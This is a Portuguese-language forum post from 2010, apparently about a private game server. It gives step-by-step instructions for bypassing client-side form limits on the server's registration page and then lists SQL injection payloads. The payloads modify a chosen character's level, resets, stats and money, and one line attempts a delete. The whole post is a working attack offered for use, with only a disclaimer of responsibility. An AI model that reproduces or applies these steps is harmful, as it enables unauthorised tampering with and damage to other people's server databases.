Editar em Servidor com Firewall

**Sam** Sáb Set 04, 2010 11:38 pm

Mais uma vez Insisto em Lembrar que eu não me Responsabilizo por uso Indevido desse Hack.

1º - Você vai no site do server, clique na Pagina de Cadastro, após ela Carregar Aperte CTRL+U ou vá em Exibir >> Codigo Fonto no seu Navegador.

2º - Aperte CTR+F e escreva " Form ".

4º - Você encontrara algo assim.

FORM action= account.php method=post name=applMember onsubmit="return chkForm(document.applMember);"
5º - Depois de axar Minimize e vá na Pagina de Cadastro e Aperte OK como vc fosse se Cadastrar, aparecera uma pagina de erro.

6º - Nessa pagina de erro Clique com Botao direito e vá em Propriedades e Copie a URL que vai aparecer.

7º -Volte ao Codigo Fonte e cole a URL na parte de Action no lugar de account.php

8º - Vai ficar +/- assim.

FORM action=http://xgamesmu.servegame.com/index.php?op=account/account.php method=post name=applMember onsubmit="return chkForm(document.applMember);"
9º - Agora você aperta CTRL+F novamente e escreva maxlength e aperte Buscar.

10º - Quando axar vai esta assim.

INPUT class=input03
maxLength=10 name=Member_Id
11º - Mude esse 10 para 9999

12º - Prontu você criou uma copia de uma pagina e a tormou de uma forma vuneravel pra que você possa enviar os Comandos!

13º - Copie todo o codigo da Pagina apertando CTRL+A e depois CTRL+C, abra um bloco de Notas e cole todo o Codigo Fonte e salve com NOME.html.

14º - Pronto Pagina Criada, agora.

' UPDATE Character Set cLevel = '349' WHERE (Name = 'Rush')--
' UPDATE Character Set Reset = 9 WHERE (Name = 'Rush')--
' UPDATE ' DELETE Character = 9 WHERE (Name = 'Rush')--
' UPDATE Character Set Dexterity = 5000 WHERE (Name = 'Rush')--
' UPDATE Character Set Energy = 25000 WHERE (Name = 'Rush')--
' UPDATE Character Set Strength = 5000 WHERE (Name = 'Rush')--
' UPDATE Character Set Vitalit= 5000 WHERE (Name = 'Rush')--
' UPDATE Character Set Vitality = 5000 WHERE (Name = 'Rush')--
' UPDATE Character Set Money = 1000000000000 WHERE (Name = 'rush')--
Aqui estao alguns Comandos SQL Injection

Esses comandos Serve para Editar seu Char na parte que tem " RUSH " coloque o nick do seu Char.